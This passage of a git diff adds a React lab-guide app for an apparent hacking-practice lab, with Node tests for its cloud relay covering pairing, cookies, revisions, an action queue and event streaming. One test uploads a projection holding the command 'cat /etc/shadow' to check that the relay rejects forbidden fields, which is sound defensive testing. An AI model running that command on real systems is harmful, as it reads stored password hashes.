+  } catch {
+    return "play";
+  }
+}
+
+export function applyTheme(
+  theme: ThemeMode,
+  root: HTMLElement | undefined = globalThis.document?.documentElement,
+) {
+  if (!root) return;
+  root.dataset.theme = theme;
+  root.style.colorScheme = theme === "ops" ? "dark" : "light";
+}
+
+export function persistTheme(
+  theme: ThemeMode,
+  storage: Pick<Storage, "setItem"> | undefined = getBrowserStorage(),
+) {
+  if (!storage) return;
+  try {
+    storage.setItem(THEME_STORAGE_KEY, theme);
+  } catch {
+    // Blocked storage must not make the local learning guide unusable.
+  }
+}
diff --git a/apps/lab-guide/src/types.ts b/apps/lab-guide/src/types.ts
new file mode 100644
index 0000000..667107c
--- /dev/null
+++ b/apps/lab-guide/src/types.ts
@@ -0,0 +1,137 @@
+export type ScreenId = "map" | "consultation";
+
+export type ExperienceMode = "browse" | "live";
+
+export type ConnectionStatus =
+  | "browse"
+  | "waiting"
+  | "loading"
+  | "live"
+  | "reconnecting"
+  | "unavailable";
+
+export type SessionStatus = "active" | "complete" | "ended";
+
+export type IconKey =
+  | "browser"
+  | "calendar"
+  | "door"
+  | "file"
+  | "folder"
+  | "globe"
+  | "network"
+  | "server"
+  | "terminal"
+  | "user";
+
+export interface Fact {
+  id: string;
+  label: string;
+  detail?: string;
+  icon: IconKey;
+}
+
+export type GraphNodeState = "discovered" | "selected" | "undiscovered";
+
+export interface GraphNode {
+  id: string;
+  label: string;
+  detail?: string;
+  icon: IconKey;
+  state: GraphNodeState;
+  progress?: string;
+  position?: {
+    x: number;
+    y: number;
+  };
+}
+
+export interface GraphEdge {
+  id: string;
+  from: string;
+  to: string;
+  state?: "known" | "possible";
+}
+
+export interface GraphProjection {
+  nodes: GraphNode[];
+  edges: GraphEdge[];
+}
+
+export interface Hypothesis {
+  id: string;
+  label: string;
+  summary: string;
+  selected?: boolean;
+  available?: boolean;
+}
+
+export interface Investigation {
+  id: string;
+  label: string;
+  summary: string;
+  icon: IconKey;
+  hypothesisId?: string;
+}
+
+export type HintState = "unlocked" | "available" | "locked";
+
+export interface Hint {
+  id: string;
+  step: 1 | 2 | 3;
+  title: string;
+  state: HintState;
+  body?: string;
+  condition?: string;
+}
+
+export interface RecentEvent {
+  id: string;
+  at: string;
+  message: string;
+}
+
+export interface LabProjection {
+  experience: ExperienceMode;
+  sessionId: string;
+  revision: number;
+  status: SessionStatus;
+  heading: string;
+  lede: string;
+  objective: string;
+  consultationQuestion: string;
+  facts: Fact[];
+  hypotheses: Hypothesis[];
+  investigations: Investigation[];
+  graph: GraphProjection;
+  hints: Hint[];
+  progress: {
+    discovered: number;
+    total: number;
+  };
+  recentEvents: RecentEvent[];
+  telemetry: {
+    status: ConnectionStatus;
+    message?: string;
+  };
+  capabilities: {
+    manualFlagSubmission: boolean;
+  };
+}
+
+export interface FlagSubmissionResult {
+  accepted: boolean;
+  message: string;
+  projection?: LabProjection;
+}
+
+export interface LabClient {
+  getState(signal?: AbortSignal): Promise<LabProjection>;
+  subscribe(
+    onProjection: (projection: LabProjection) => void,
+    onError: () => void,
+  ): () => void;
+  selectHypothesis(id: string): Promise<LabProjection | undefined>;
+  unlockHint(id: string): Promise<LabProjection | undefined>;
+  submitFlag(flag: string): Promise<FlagSubmissionResult>;
+}
diff --git a/apps/lab-guide/src/useLabSession.ts b/apps/lab-guide/src/useLabSession.ts
new file mode 100644
index 0000000..cf3dcb9
--- /dev/null
+++ b/apps/lab-guide/src/useLabSession.ts
@@ -0,0 +1,198 @@
+import { useCallback, useEffect, useRef, useState } from "react";
+import type {
+  ConnectionStatus,
+  FlagSubmissionResult,
+  LabClient,
+  LabProjection,
+} from "./types";
+
+interface LabSessionState {
+  projection: LabProjection | null;
+  connectionStatus: ConnectionStatus;
+  pendingAction: string | null;
+  announcement: string;
+  refresh: () => Promise<void>;
+  selectHypothesis: (id: string) => Promise<boolean>;
+  unlockHint: (id: string) => Promise<boolean>;
+  submitFlag: (flag: string) => Promise<FlagSubmissionResult | undefined>;
+  clearAnnouncement: () => void;
+}
+
+function messageForError(action: string): string {
+  if (action === "hint") {
+    return "このヒントはまだ開けません。上のヒントから確認してください。";
+  }
+  if (action === "flag") {
+    return "flagを送信できませんでした。接続を確認して、もう一度試してください。";
+  }
+  if (action === "hypothesis") {
+    return "仮説を記録できませんでした。状態を再読込して、もう一度試してください。";
+  }
+  return "状態を読み込めませんでした。接続を確認してください。";
+}
+
+export function useLabSession(client: LabClient | null): LabSessionState {
+  const [projection, setProjection] = useState<LabProjection | null>(null);
+  const projectionRef = useRef<LabProjection | null>(null);
+  const [connectionStatus, setConnectionStatus] =
+    useState<ConnectionStatus>("loading");
+  const [pendingAction, setPendingAction] = useState<string | null>(null);
+  const [announcement, setAnnouncement] = useState("");
+
+  const acceptProjection = useCallback((nextProjection: LabProjection) => {
+    const currentProjection = projectionRef.current;
+    if (
+      currentProjection?.sessionId === nextProjection.sessionId &&
+      nextProjection.revision < currentProjection.revision
+    ) {
+      return;
+    }
+
+    if (
+      currentProjection?.experience === "live" &&
+      nextProjection.experience === "live" &&
+      currentProjection.sessionId === nextProjection.sessionId &&
+      nextProjection.revision > currentProjection.revision
+    ) {
+      setAnnouncement("新しい発見を地図と選択肢へ反映しました。");
+    }
+
+    projectionRef.current = nextProjection;
+    setProjection(nextProjection);
+    setConnectionStatus(nextProjection.telemetry.status);
+  }, []);
+
+  useEffect(() => {
+    if (!client) return;
+
+    const controller = new AbortController();
+    let unsubscribe: () => void = () => undefined;
+    let disposed = false;
+
+    setConnectionStatus("loading");
+    client
+      .getState(controller.signal)
+      .then((initialProjection) => {
+        if (disposed) return;
+        acceptProjection(initialProjection);
+        unsubscribe = client.subscribe(
+          (nextProjection) => {
+            if (!disposed) acceptProjection(nextProjection);
+          },
+          () => {
+            if (disposed) return;
+            setConnectionStatus(
+              projectionRef.current ? "reconnecting" : "unavailable",
+            );
+          },
+        );
+      })
+      .catch((error: unknown) => {
+        if (disposed || (error instanceof DOMException && error.name === "AbortError")) {
+          return;
+        }
+        setConnectionStatus("unavailable");
+        setAnnouncement(messageForError("load"));
+      });
+
+    return () => {
+      disposed = true;
+      controller.abort();
+      unsubscribe();
+    };
+  }, [acceptProjection, client]);
+
+  const refresh = useCallback(async () => {
+    if (!client) return;
+    setConnectionStatus("loading");
+    setPendingAction("refresh");
+    try {
+      acceptProjection(await client.getState());
+      setAnnouncement("最新の状態を読み込みました。");
+    } catch {
+      setConnectionStatus(
+        projectionRef.current ? "reconnecting" : "unavailable",
+      );
+      setAnnouncement(messageForError("load"));
+    } finally {
+      setPendingAction(null);
+    }
+  }, [acceptProjection, client]);
+
+  const runProjectionAction = useCallback(
+    async (
+      action: "hint" | "hypothesis",
+      request: () => Promise<LabProjection | undefined>,
+      successMessage: string,
+    ): Promise<boolean> => {
+      if (!client) return false;
+      setPendingAction(action);
+      try {
+        const nextProjection = await request();
+        if (nextProjection) {
+          acceptProjection(nextProjection);
+        } else {
+          acceptProjection(await client.getState());
+        }
+        setAnnouncement(successMessage);
+        return true;
+      } catch {
+        setAnnouncement(messageForError(action));
+        return false;
+      } finally {
+        setPendingAction(null);
+      }
+    },
+    [acceptProjection, client],
+  );
+
+  const selectHypothesis = useCallback(
+    async (id: string) =>
+      runProjectionAction(
+        "hypothesis",
+        () => client!.selectHypothesis(id),
+        "次に確かめる仮説を記録しました。",
+      ),
+    [client, runProjectionAction],
+  );
+
+  const unlockHint = useCallback(
+    async (id: string) =>
+      runProjectionAction(
+        "hint",
+        () => client!.unlockHint(id),
+        "ヒントを開きました。",
+      ),
+    [client, runProjectionAction],
+  );
+
+  const submitFlag = useCallback(
+    async (flag: string): Promise<FlagSubmissionResult | undefined> => {
+      if (!client) return undefined;
+      setPendingAction("flag");
+      try {
+        const result = await client.submitFlag(flag);
+        if (result.projection) acceptProjection(result.projection);
+        return result;
+      } catch {
+        setAnnouncement(messageForError("flag"));
+        return undefined;
+      } finally {
+        setPendingAction(null);
+      }
+    },
+    [acceptProjection, client],
+  );
+
+  return {
+    projection,
+    connectionStatus,
+    pendingAction,
+    announcement,
+    refresh,
+    selectHypothesis,
+    unlockHint,
+    submitFlag,
+    clearAnnouncement: () => setAnnouncement(""),
+  };
+}
diff --git a/apps/lab-guide/tests/cloud-actions.test.mjs b/apps/lab-guide/tests/cloud-actions.test.mjs
new file mode 100644
index 0000000..eed1d23
--- /dev/null
+++ b/apps/lab-guide/tests/cloud-actions.test.mjs
@@ -0,0 +1,201 @@
+import assert from "node:assert/strict";
+import { describe, test } from "node:test";
+
+import {
+  call,
+  createBridgeSession,
+  createHarness,
+  pairBrowser,
+  poll,
+  projection,
+  upload,
+} from "./cloud-test-helpers.mjs";
+
+describe("cloud snapshot revisions", () => {
+  test("accepts exact replays and rejects rollback or same-revision conflicts", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+    const revisionTwo = projection(2);
+
+    let response = await upload(harness, created.body, revisionTwo);
+    assert.equal(response.status, 204);
+    response = await upload(harness, created.body, structuredClone(revisionTwo));
+    assert.equal(response.status, 204);
+
+    response = await upload(harness, created.body, projection(1));
+    assert.equal(response.status, 409);
+    assert.equal((await response.json()).error.code, "revision_rollback");
+
+    const conflict = structuredClone(revisionTwo);
+    conflict.objective = "同じrevisionで異なる内容";
+    response = await upload(harness, created.body, conflict);
+    assert.equal(response.status, 409);
+    assert.equal((await response.json()).error.code, "revision_conflict");
+  });
+});
+
+describe("cloud guide action queue", () => {
+  test("queues only exact allowlisted actions and removes acknowledged actions", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    assert.equal((await upload(harness, created.body, projection())).status, 204);
+
+    let response = await call(
+      harness,
+      "/api/session/hypotheses/hyp-web/select",
+      {
+        method: "POST",
+        headers: { cookie: paired.cookie },
+      },
+    );
+    assert.equal(response.status, 202);
+
+    response = await call(
+      harness,
+      "/api/session/hypotheses/hyp-web/select",
+      {
+        method: "POST",
+        headers: { cookie: paired.cookie },
+      },
+    );
+    assert.equal(response.status, 202);
+
+    response = await call(harness, "/api/session/hints/hint-web-1/unlock", {
+      method: "POST",
+      headers: { cookie: paired.cookie },
+    });
+    assert.equal(response.status, 202);
+
+    response = await call(harness, "/api/session/hints/hint-web-2/unlock", {
+      method: "POST",
+      headers: { cookie: paired.cookie },
+    });
+    assert.equal(response.status, 409);
+    assert.equal((await response.json()).error.code, "action_unavailable");
+
+    response = await call(harness, "/api/session/flags/submit", {
+      method: "POST",
+      headers: { cookie: paired.cookie },
+      json: { flag: "FLAG{never_cross_the_cloud}" },
+    });
+    assert.equal(response.status, 404);
+
+    const pending = await poll(harness, created.body);
+    assert.equal(pending.response.status, 200);
+    assert.deepEqual(Object.keys(pending.body).sort(), [
+      "actions",
+      "pollAfterMs",
+    ]);
+    assert.equal(pending.body.actions.length, 2);
+    assert.deepEqual(
+      pending.body.actions.map((action) => action.type).sort(),
+      ["selectHypothesis", "unlockHint"],
+    );
+    for (const action of pending.body.actions) {
+      assert.deepEqual(Object.keys(action).sort(), [
+        "createdAt",
+        "id",
+        "targetId",
+        "type",
+      ]);
+      assert.ok(!Number.isNaN(Date.parse(action.createdAt)));
+    }
+
+    const ids = pending.body.actions.map((action) => action.id);
+    response = await upload(harness, created.body, projection(), ids);
+    assert.equal(response.status, 204);
+    assert.deepEqual((await poll(harness, created.body)).body.actions, []);
+
+    response = await upload(harness, created.body, projection(), ids);
+    assert.equal(response.status, 204);
+    assert.deepEqual((await poll(harness, created.body)).body.actions, []);
+  });
+
+  test("requires paired state and rejects arbitrary target identifiers or bodies", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+
+    let response = await call(
+      harness,
+      "/api/session/hypotheses/hyp-web/select",
+      { method: "POST" },
+    );
+    assert.equal(response.status, 401);
+
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    response = await call(
+      harness,
+      "/api/session/hypotheses/hyp-web/select",
+      {
+        method: "POST",
+        headers: { cookie: paired.cookie },
+      },
+    );
+    assert.equal(response.status, 409);
+    assert.equal((await response.json()).error.code, "state_not_ready");
+
+    assert.equal((await upload(harness, created.body, projection())).status, 204);
+    response = await call(
+      harness,
+      "/api/session/hypotheses/not-present/select",
+      {
+        method: "POST",
+        headers: { cookie: paired.cookie },
+      },
+    );
+    assert.equal(response.status, 409);
+
+    response = await call(
+      harness,
+      "/api/session/hypotheses/hyp-web/select",
+      {
+        method: "POST",
+        headers: { cookie: paired.cookie },
+        rawBody: "x",
+      },
+    );
+    assert.equal(response.status, 400);
+  });
+});
+
+describe("bounded paired SSE", () => {
+  test("emits a state event and heartbeat, then closes", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    await upload(harness, created.body, projection(7));
+
+    let response = await call(harness, "/api/session/events", {
+      headers: { cookie: paired.cookie },
+    });
+    assert.equal(response.status, 200);
+    assert.match(response.headers.get("content-type") ?? "", /^text\/event-stream/);
+    assert.equal(response.headers.get("cache-control"), "no-store");
+    const body = await response.text();
+    assert.match(body, /retry: 1000/);
+    assert.match(body, /id: 7/);
+    assert.match(body, /event: state/);
+    assert.match(body, /event: heartbeat/);
+    const data = /^data: (.+)$/m.exec(body);
+    assert.equal(JSON.parse(data[1]).revision, 7);
+
+    response = await call(harness, "/api/session/events");
+    assert.equal(response.status, 401);
+  });
+
+  test("projects stale Bridge heartbeats as reconnecting without rollback", async () => {
+    const harness = createHarness({ staleAfterMs: 5_000 });
+    const created = await createBridgeSession(harness);
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    await upload(harness, created.body, projection(3));
+    harness.advance(5_001);
+
+    const response = await call(harness, "/api/session/state", {
+      headers: { cookie: paired.cookie },
+    });
+    const state = await response.json();
+    assert.equal(state.revision, 3);
+    assert.equal(state.telemetry.status, "reconnecting");
+  });
+});
diff --git a/apps/lab-guide/tests/cloud-bridge-contract.test.mjs b/apps/lab-guide/tests/cloud-bridge-contract.test.mjs
new file mode 100644
index 0000000..5d7d77f
--- /dev/null
+++ b/apps/lab-guide/tests/cloud-bridge-contract.test.mjs
@@ -0,0 +1,70 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { CloudClient } from "../../../labs/open-world-target/bridge/src/http.mjs";
+import {
+  call,
+  createHarness,
+  DEPLOYMENT_SECRET,
+  ORIGIN,
+  pairBrowser,
+  projection,
+} from "./cloud-test-helpers.mjs";
+
+test("Bridge and browser complete one paired live action through the cloud contract", async () => {
+  const harness = createHarness({ publicOrigin: ORIGIN });
+  const fetchImpl = (url, init) =>
+    harness.handler.fetch(new Request(url, init));
+  const bridgeClient = new CloudClient({
+    origin: ORIGIN,
+    deploymentToken: DEPLOYMENT_SECRET,
+    requestTimeoutMs: 1_000,
+    fetchImpl,
+  });
+
+  const bridgeSession = await bridgeClient.createSession("target-session-1");
+  await bridgeClient.uploadSnapshot(projection(1));
+
+  const paired = await pairBrowser(harness, bridgeSession.pairingCode);
+  assert.equal(paired.response.status, 200);
+  assert.equal(paired.body.experience, "live");
+  assert.equal(paired.body.capabilities.manualFlagSubmission, false);
+
+  const queued = await call(
+    harness,
+    "/api/session/hypotheses/hyp-web/select",
+    {
+      method: "POST",
+      headers: { cookie: paired.cookie },
+    },
+  );
+  assert.equal(queued.status, 202);
+
+  const pending = await bridgeClient.pollActions();
+  assert.equal(pending.actions.length, 1);
+  assert.deepEqual(
+    {
+      type: pending.actions[0].type,
+      targetId: pending.actions[0].targetId,
+    },
+    {
+      type: "selectHypothesis",
+      targetId: "hyp-web",
+    },
+  );
+
+  const afterAction = projection(2);
+  afterAction.hypotheses[0].selected = true;
+  await bridgeClient.uploadSnapshot(afterAction, {
+    ackActionIds: [pending.actions[0].id],
+  });
+
+  const state = await call(harness, "/api/session/state", {
+    headers: { cookie: paired.cookie },
+  });
+  assert.equal(state.status, 200);
+  const visible = await state.json();
+  assert.equal(visible.revision, 2);
+  assert.equal(visible.hypotheses[0].selected, true);
+  assert.deepEqual((await bridgeClient.pollActions()).actions, []);
+});
diff --git a/apps/lab-guide/tests/cloud-session.test.mjs b/apps/lab-guide/tests/cloud-session.test.mjs
new file mode 100644
index 0000000..0db1b45
--- /dev/null
+++ b/apps/lab-guide/tests/cloud-session.test.mjs
@@ -0,0 +1,207 @@
+import assert from "node:assert/strict";
+import { describe, test } from "node:test";
+
+import {
+  DEPLOYMENT_SECRET,
+  ORIGIN,
+  call,
+  createBridgeSession,
+  createHarness,
+  pairBrowser,
+  projection,
+  upload,
+} from "./cloud-test-helpers.mjs";
+
+describe("cloud relay authentication and pairing", () => {
+  test("requires the deployment bearer and returns the exact Bridge contract", async () => {
+    const harness = createHarness();
+    let response = await call(harness, "/api/bridge/session", {
+      method: "POST",
+      json: { targetSessionId: "target-session-1" },
+    });
+    assert.equal(response.status, 401);
+    assert.equal((await response.json()).error.code, "invalid_bridge_secret");
+
+    response = await call(harness, "/api/bridge/session", {
+      method: "POST",
+      headers: { authorization: "Bearer definitely-wrong" },
+      json: { targetSessionId: "target-session-1" },
+    });
+    assert.equal(response.status, 401);
+
+    const created = await createBridgeSession(harness);
+    assert.equal(created.response.status, 200);
+    assert.equal(created.response.headers.get("cache-control"), "no-store");
+    assert.deepEqual(Object.keys(created.body).sort(), [
+      "expiresAt",
+      "pairingCode",
+      "sessionId",
+      "uploadToken",
+      "viewerUrl",
+    ]);
+    assert.match(created.body.sessionId, /^session-[A-Za-z0-9_-]{20,}$/);
+    assert.match(created.body.pairingCode, /^[A-Z2-9]{6}$/);
+    assert.match(created.body.uploadToken, /^[A-Za-z0-9_-]{32,}$/);
+    assert.equal(created.body.viewerUrl, `${ORIGIN}/`);
+    assert.ok(Date.parse(created.body.expiresAt) > harness.now());
+  });
+
+  test("prefers configured public origin over the incoming request origin", async () => {
+    const harness = createHarness({
+      publicOrigin: "https://labs.examserver.example",
+      viewerPath: "/lab",
+    });
+    const created = await createBridgeSession(harness);
+    assert.equal(created.body.viewerUrl, "https://labs.examserver.example/lab");
+  });
+
+  test("accepts the ExamServer /api/lab namespace", async () => {
+    const harness = createHarness({ viewerPath: "/lab" });
+    const response = await call(harness, "/api/lab/bridge/session", {
+      method: "POST",
+      headers: { authorization: `Bearer ${DEPLOYMENT_SECRET}` },
+      json: { targetSessionId: "target-session-prefixed" },
+    });
+
+    assert.equal(response.status, 200);
+    assert.equal((await response.json()).viewerUrl, `${ORIGIN}/lab`);
+  });
+
+  test("sets a hardened single-use pairing cookie and rejects tampering", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+
+    let response = await call(harness, "/api/session/pair", {
+      method: "POST",
+      json: { code: "AAAAAA" },
+    });
+    assert.equal(response.status, 404);
+    assert.equal((await response.json()).error.code, "pairing_unavailable");
+
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    assert.equal(paired.response.status, 200);
+    assert.equal(paired.body.telemetry.status, "waiting");
+    assert.match(paired.setCookie, /Path=\//);
+    assert.match(paired.setCookie, /HttpOnly/i);
+    assert.match(paired.setCookie, /Secure/i);
+    assert.match(paired.setCookie, /SameSite=Strict/i);
+    assert.doesNotMatch(paired.setCookie, /Domain=/i);
+
+    response = await call(harness, "/api/session/state", {
+      headers: { cookie: paired.cookie },
+    });
+    assert.equal(response.status, 200);
+    assert.equal((await response.json()).sessionId, "target-session-1");
+
+    const last = paired.cookieValue.at(-1);
+    const tampered = `${paired.cookie.slice(0, -1)}${last === "A" ? "B" : "A"}`;
+    response = await call(harness, "/api/session/state", {
+      headers: { cookie: tampered },
+    });
+    assert.equal(response.status, 401);
+    assert.equal((await response.json()).error.code, "invalid_session");
+
+    response = await call(harness, "/api/session/pair", {
+      method: "POST",
+      json: { code: created.body.pairingCode },
+    });
+    assert.equal(response.status, 404);
+  });
+
+  test("expires pairing codes and paired sessions independently", async () => {
+    let harness = createHarness();
+    let created = await createBridgeSession(harness);
+    harness.advance(30_001);
+    let response = await call(harness, "/api/session/pair", {
+      method: "POST",
+      json: { code: created.body.pairingCode },
+    });
+    assert.equal(response.status, 404);
+
+    harness = createHarness();
+    created = await createBridgeSession(harness);
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    harness.advance(120_001);
+    response = await call(harness, "/api/session/state", {
+      headers: { cookie: paired.cookie },
+    });
+    assert.equal(response.status, 410);
+    assert.equal((await response.json()).error.code, "session_expired");
+  });
+});
+
+describe("cloud projection boundary", () => {
+  test("rejects forbidden fields, locked bodies, flag strings, and wrapper extras", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+
+    let unsafe = projection();
+    unsafe.command = "cat /etc/shadow";
+    let response = await upload(harness, created.body, unsafe);
+    assert.equal(response.status, 422);
+    assert.equal((await response.json()).error.code, "invalid_projection");
+
+    unsafe = projection();
+    unsafe.hints[1].body = "まだ公開してはいけない本文";
+    response = await upload(harness, created.body, unsafe);
+    assert.equal(response.status, 422);
+
+    unsafe = projection();
+    unsafe.facts[0].detail = "FLAG{must_never_reach_redis}";
+    response = await upload(harness, created.body, unsafe);
+    assert.equal(response.status, 422);
+
+    response = await call(harness, "/api/bridge/snapshot", {
+      method: "POST",
+      headers: {
+        authorization: `Bearer ${created.body.uploadToken}`,
+        "x-lab-session": created.body.sessionId,
+      },
+      json: { projection: projection(), rawOutput: "sensitive" },
+    });
+    assert.equal(response.status, 400);
+  });
+
+  test("persists only the sanitized public projection", async () => {
+    const harness = createHarness();
+    const created = await createBridgeSession(harness);
+    const paired = await pairBrowser(harness, created.body.pairingCode);
+    const response = await upload(harness, created.body, projection());
+    assert.equal(response.status, 204);
+
+    const stateResponse = await call(harness, "/api/session/state", {
+      headers: { cookie: paired.cookie },
+    });
+    assert.equal(stateResponse.status, 200);
+    const state = await stateResponse.json();
+    assert.equal(state.experience, "live");
+    assert.equal(state.capabilities.manualFlagSubmission, false);
+    assert.equal(state.revision, 1);
+    assert.equal(state.objective, "最初の入口を確認する");
+    assert.doesNotMatch(JSON.stringify(state), /uploadToken|pairingCode/);
+  });
+
+  test("enforces media type and bounded request bodies with safe errors", async () => {
+    const harness = createHarness();
+    let response = await call(harness, "/api/bridge/session", {
+      method: "POST",
+      headers: {
+        authorization: `Bearer ${DEPLOYMENT_SECRET}`,
+        "content-type": "text/plain",
+      },
+      rawBody: "{}",
+    });
+    assert.equal(response.status, 415);
+
+    response = await call(harness, "/api/session/pair", {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "content-length": "2000",
+      },
+      rawBody: "{}",
+    });
+    assert.equal(response.status, 413);
+    assert.deepEqual(Object.keys(await response.json()), ["error"]);
+  });
+});
diff --git a/apps/lab-guide/tests/cloud-test-helpers.mjs b/apps/lab-guide/tests/cloud-test-helpers.mjs
new file mode 100644
index 0000000..3e2af0a
--- /dev/null
+++ b/apps/lab-guide/tests/cloud-test-helpers.mjs
@@ -0,0 +1,196 @@
+import { createCloudHandler, SESSION_COOKIE_NAME } from "../cloud/http.mjs";
+import { SessionService } from "../cloud/session-service.mjs";
+import { MemorySessionStore } from "../cloud/store.mjs";
+
+export const DEPLOYMENT_SECRET =
+  "bridge-deployment-secret-for-tests-000000000000";
+export const COOKIE_SECRET =
+  "browser-cookie-signing-secret-for-tests-000000000";
+export const ORIGIN = "https://guide.examserver.example";
+
+export function projection(revision = 1) {
+  return {
+    experience: "live",
+    sessionId: "target-session-1",
+    revision,
+    status: "active",
+    heading: "風切モータースの状況",
+    lede: "確認済みの事実だけをつないで次の調査を選びます。",
+    objective: "最初の入口を確認する",
+    consultationQuestion: "次にどこを調べますか？",
+    facts: [
+      {
+        id: "fact-web",
+        label: "Webサービスが応答した",
+        detail: "HTTPの公開画面を確認した。",
+        icon: "browser",
+      },
+    ],
+    hypotheses: [
+      {
+        id: "hyp-web",
+        label: "Web診断を調べる",
+        summary: "入力と応答の違いを観察する。",
+        selected: false,
+        available: true,
+      },
+    ],
+    investigations: [
+      {
+        id: "investigation-web",
+        label: "Web診断を調べる",
+        summary: "公開画面から確認を始める。",
+        icon: "globe",
+        hypothesisId: "hyp-web",
+      },
+    ],
+    graph: {
+      nodes: [
+        {
+          id: "node-web",
+          state: "discovered",
+          label: "Web入口",
+          detail: "HTTPサービス",
+          icon: "globe",
+          progress: "発見済み",
+          position: { x: 20, y: 40 },
+        },
+        { id: "node-root", state: "undiscovered" },
+      ],
+      edges: [
+        {
+          id: "edge-web-root",
+          from: "node-web",
+          to: "node-root",
+          state: "possible",
+        },
+      ],
+    },
+    hints: [
+      {
+        id: "hint-web-1",
+        step: 1,
+        title: "見る場所",
+        state: "available",
+        condition: "仮説を選ぶと開けます。",
+      },
+      {
+        id: "hint-web-2",
+        step: 2,
+        title: "使う道具",
+        state: "locked",
+        condition: "前のヒントを確認すると開けます。",
+      },
+    ],
+    progress: { discovered: 1, total: 14 },
+    recentEvents: [
+      {
+        id: "event-web",
+        at: "2026-07-28T01:02:03.000Z",
+        message: "Webサービスを確認した。",
+      },
+    ],
+    telemetry: { status: "live" },
+    capabilities: { manualFlagSubmission: true },
+  };
+}
+
+export function createHarness(options = {}) {
+  let nowMs = Date.parse("2026-07-28T01:00:00.000Z");
+  const now = () => nowMs;
+  const store = new MemorySessionStore({ now });
+  const service = new SessionService({
+    store,
+    deploymentSecret: DEPLOYMENT_SECRET,
+    cookieSecret: COOKIE_SECRET,
+    sessionTtlMs: options.sessionTtlMs ?? 120_000,
+    pairingTtlMs: options.pairingTtlMs ?? 30_000,
+    staleAfterMs: options.staleAfterMs ?? 5_000,
+    now,
+    ...(options.publicOrigin ? { publicOrigin: options.publicOrigin } : {}),
+    ...(options.viewerPath ? { viewerPath: options.viewerPath } : {}),
+  });
+  const handler = createCloudHandler({ service, now });
+
+  return {
+    handler,
+    now,
+    store,
+    service,
+    advance(milliseconds) {
+      nowMs += milliseconds;
+    },
+  };
+}
+
+export async function call(
+  harness,
+  path,
+  { method = "GET", headers = {}, json, rawBody } = {},
+) {
+  const body = rawBody ?? (json === undefined ? undefined : JSON.stringify(json));
+  const requestHeaders = new Headers(headers);
+  if (json !== undefined && !requestHeaders.has("content-type")) {
+    requestHeaders.set("content-type", "application/json");
+  }
+  return harness.handler.fetch(
+    new Request(`${ORIGIN}${path}`, {
+      method,
+      headers: requestHeaders,
+      ...(body === undefined ? {} : { body }),
+    }),
+  );
+}
+
+export async function createBridgeSession(harness, overrides = {}) {
+  const response = await call(harness, "/api/bridge/session", {
+    method: "POST",
+    headers: {
+      authorization: `Bearer ${overrides.secret ?? DEPLOYMENT_SECRET}`,
+    },
+    json: { targetSessionId: overrides.targetSessionId ?? "target-session-1" },
+  });
+  return { response, body: await response.json() };
+}
+
+export async function pairBrowser(harness, pairingCode) {
+  const response = await call(harness, "/api/session/pair", {
+    method: "POST",
+    json: { code: pairingCode },
+  });
+  const setCookie = response.headers.get("set-cookie") ?? "";
+  const cookie = setCookie.split(";", 1)[0];
+  return {
+    response,
+    body: await response.json(),
+    cookie,
+    cookieValue: cookie.startsWith(`${SESSION_COOKIE_NAME}=`)
+      ? cookie.slice(SESSION_COOKIE_NAME.length + 1)
+      : "",
+    setCookie,
+  };
+}
+
+export async function upload(harness, bridge, value, ackActionIds) {
+  return call(harness, "/api/bridge/snapshot", {
+    method: "POST",
+    headers: {
+      authorization: `Bearer ${bridge.uploadToken}`,
+      "x-lab-session": bridge.sessionId,
+    },
+    json: {
+      projection: value,
+      ...(ackActionIds === undefined ? {} : { ackActionIds }),
+    },
+  });
+}
+
+export async function poll(harness, bridge) {
+  const response = await call(harness, "/api/bridge/actions", {
+    headers: {
+      authorization: `Bearer ${bridge.uploadToken}`,
+      "x-lab-session": bridge.sessionId,
+    },
+  });
+  return { response, body: await response.json() };
+}
diff --git a/apps/lab-guide/tests/target-server.test.mjs b/apps/lab-guide/tests/target-server.test.mjs
new file mode 100644
index 0000000..07abecc
--- /dev/null
+++ b/apps/lab-guide/tests/target-server.test.mjs
@@ -0,0 +1,292 @@
+import assert from "node:assert/strict";
+import { mkdtemp, rm, writeFile } from "node:fs/promises";
+import http from "node:http";
+import os from "node:os";
+import path from "node:path";
+import { after, before, describe, test } from "node:test";
+import { fileURLToPath } from "node:url";
+
+import {
+  createGuideServer,
+  readRuntimeConfig,
+} from "../server/index.mjs";
+
+let staticRoot;
+const TELEMETRY_TOKEN = "kali-fallback-token-".padEnd(40, "k");
+
+before(async () => {
+  staticRoot = await mkdtemp(path.join(os.tmpdir(), "lab-guide-server-"));
+  await writeFile(
+    path.join(staticRoot, "index.html"),
+    "<!doctype html><title>guide shell</title>",
+  );
+  await writeFile(path.join(staticRoot, "app.js"), "console.log('guide');");
+});
+
+after(async () => {
+  await rm(staticRoot, { force: true, recursive: true });
+});
+
+function listen(server) {
+  return new Promise((resolve, reject) => {
+    server.once("error", reject);
+    server.listen(0, "127.0.0.1", () => {
+      server.off("error", reject);
+      resolve(server.address().port);
+    });
+  });
+}
+
+function close(server) {
+  server.closeAllConnections?.();
+  return new Promise((resolve, reject) => {
+    server.close((error) => (error ? reject(error) : resolve()));
+  });
+}
+
+function request(port, {
+  method = "GET",
+  requestPath = "/",
+  headers = {},
+  body,
+} = {}) {
+  return new Promise((resolve, reject) => {
+    const outgoing = http.request(
+      {
+        host: "127.0.0.1",
+        port,
+        method,
+        path: requestPath,
+        headers,
+      },
+      (response) => {
+        const chunks = [];
+        response.on("data", (chunk) => chunks.push(chunk));
+        response.on("end", () => {
+          resolve({
+            body: Buffer.concat(chunks).toString("utf8"),
+            headers: response.headers,
+            status: response.statusCode,
+          });
+        });
+      },
+    );
+    outgoing.on("error", reject);
+    if (body) outgoing.write(body);
+    outgoing.end();
+  });
+}
+
+describe("Kali local-only fallback guide server", () => {
